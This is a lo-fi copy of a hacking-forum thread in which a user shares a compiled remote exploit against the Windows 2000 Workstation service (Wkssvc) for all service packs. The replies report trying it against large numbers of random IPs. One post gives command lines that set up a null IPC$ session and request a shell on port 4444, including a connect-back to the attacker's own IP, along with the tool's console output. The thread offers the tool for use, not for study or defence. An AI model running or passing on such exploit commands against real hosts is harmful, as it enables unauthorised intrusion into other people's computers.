hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Wkssvc Remote Exploit
creep01
Well peepz..
You had the exploit with sp4 only..
SO there is for all the service packs..
Guess what...
Dinos made it happen again smile.gif

Again to check usage
just give the following option..


c:\w2ksp1-4.exe -H and see its types there...
see what -t does..to save yourself from questions..smile.gif
DJVASTVASTY2K
BIg Thanks To Creep01 And DINO !

Will try this out, I hope it works 4 me, hehe

Thanks Bro wink.gif

Best Regards

Adam

Vast Gsm Team

Da Sick Crew
Toilal
Is there source code anywhere ?
Sedi
hey thx for this tools smile.gif)
haxor2k3
Its getting better smile.gif

Thx for this..
Tomi
how do i scan for workstation bug? port?

me come a ausnahme fehler

sry for my bad englisch
Darklance
Awesome work dude! Thnx!
Jurojin
anyone had any luck ?
Lucaz
Doesnt work for me. Tryed over 2000 ips..
T3cHn0b0y
Well...if i doesnt work then I guess you wouldnt post it so...thnx m8!
nitrofuran
THX m8
limbox
with all these parameters it looks very difficult
tribalgoa
Ok, I got a shell but not on all service pack levels sad.gif(
I think the code is bugged
Kynroxes
tks for sharing I don't take the time in order to build this very ths for the work !
KarachiKing555
thx m8 for your work and effort !! but parameteres are really confusing !! cant it be modified soo it bee easier to use ! thx
COM
Thx I do test unsure.gif
Double-=V=-
Thanks for compling but does anybody had any succes with this remotely?

I get:

-> 'Connecting' mode...
-> Setting up $IPC session...(aka 'null session')
-> IPC$ session setup successfully...
-> Sending exploit string...
-> Will try connecting to shell now....
-> Trial #0....
-> Trial #1....
-> Trial #2....
-> Trial #3....
-> WM_TIMER received...
-> I give up...dude.....

Sometimes 4 trials or less but never a shell.

CODE
w2k.exe -h remoteip -p 4444 -i my.ip -t 1
seems to work best
with
CODE
w2k.exe -h remoteip -p 4444 -l -i my.ip -t 1


I get:

-> 'Listening' mode...( port: 4444 )
-> Setting up $IPC session...(aka 'null session')
-> IPC$ session setup successfully...
-> Sending exploit string...
-> Waiting for connection...
-> WM_TIMER received...
-> I give up...dude.....

Should you use -l or not?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.